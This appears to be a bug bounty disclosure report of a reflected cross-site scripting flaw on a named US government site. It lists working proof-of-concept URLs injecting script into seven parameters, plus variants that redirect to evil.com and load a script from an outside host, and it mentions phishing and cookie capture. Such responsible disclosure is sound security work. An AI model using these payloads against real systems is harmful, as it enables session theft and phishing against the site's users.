Reflected XSS on itims.bia.gov

Report details

• Submitted

  24 Oct 2023 18:48:01 UTC

• Target Location

  *.bia.gov

• Target category

  Web App

• VRT

  Cross-Site Scripting (XSS) > Reflected > Non-Self

• Priority

  P3

• Bug URL

  https://itims.bia.gov/forms/frmservlet

• Description

  Hi there,

  While testing your assets, I identified a Reflected XSS vulnerability in several parameters on the itims.bia.gov domain.

  There's a lengthy list of parameters that are leaked when capturing a request to this endpoint:
  https://itims.bia.gov/forms/frmservlet

  I fuzzed these parameters and identified seven parameters that reflect the value and are not sanitized. You can simply copy and paste each of the links below to observe the PoC:

  https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilTrustInternal=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilMaxTransferSize=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilLoggingDetail=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilLogging=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilDispatchMonitorInterval=meeterpreeter--><script>alert('XSS!')</script><!--
  https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>alert('XSS!')</script><!--

  I conducted some additional testing and can confirm that redirection is possible (someone can spoof the site and host it on their own domain):
  https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>window.location.href="https://evil.com"</script><!--

  Additionally, hosted scripts can be executed as well (I used this website's hosted file as a PoC):
  https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script%20src='https://sakurity.com/jqueryxss'></script><!--

  Although this is a reflected XSS, this may be considered riskier since this site hosts an admin panel (Oracle Enterprise Manager):
  https://itims.bia.gov/em.

  Since this is a .gov site, this can be a good candidate for phishing URLs which could lead to cookie capture if an employee clicks on the link. These parameters should sanitize any input provided in the requests.

  Please let me know if you require more thorough PoCs -- I have also attached screenshots below.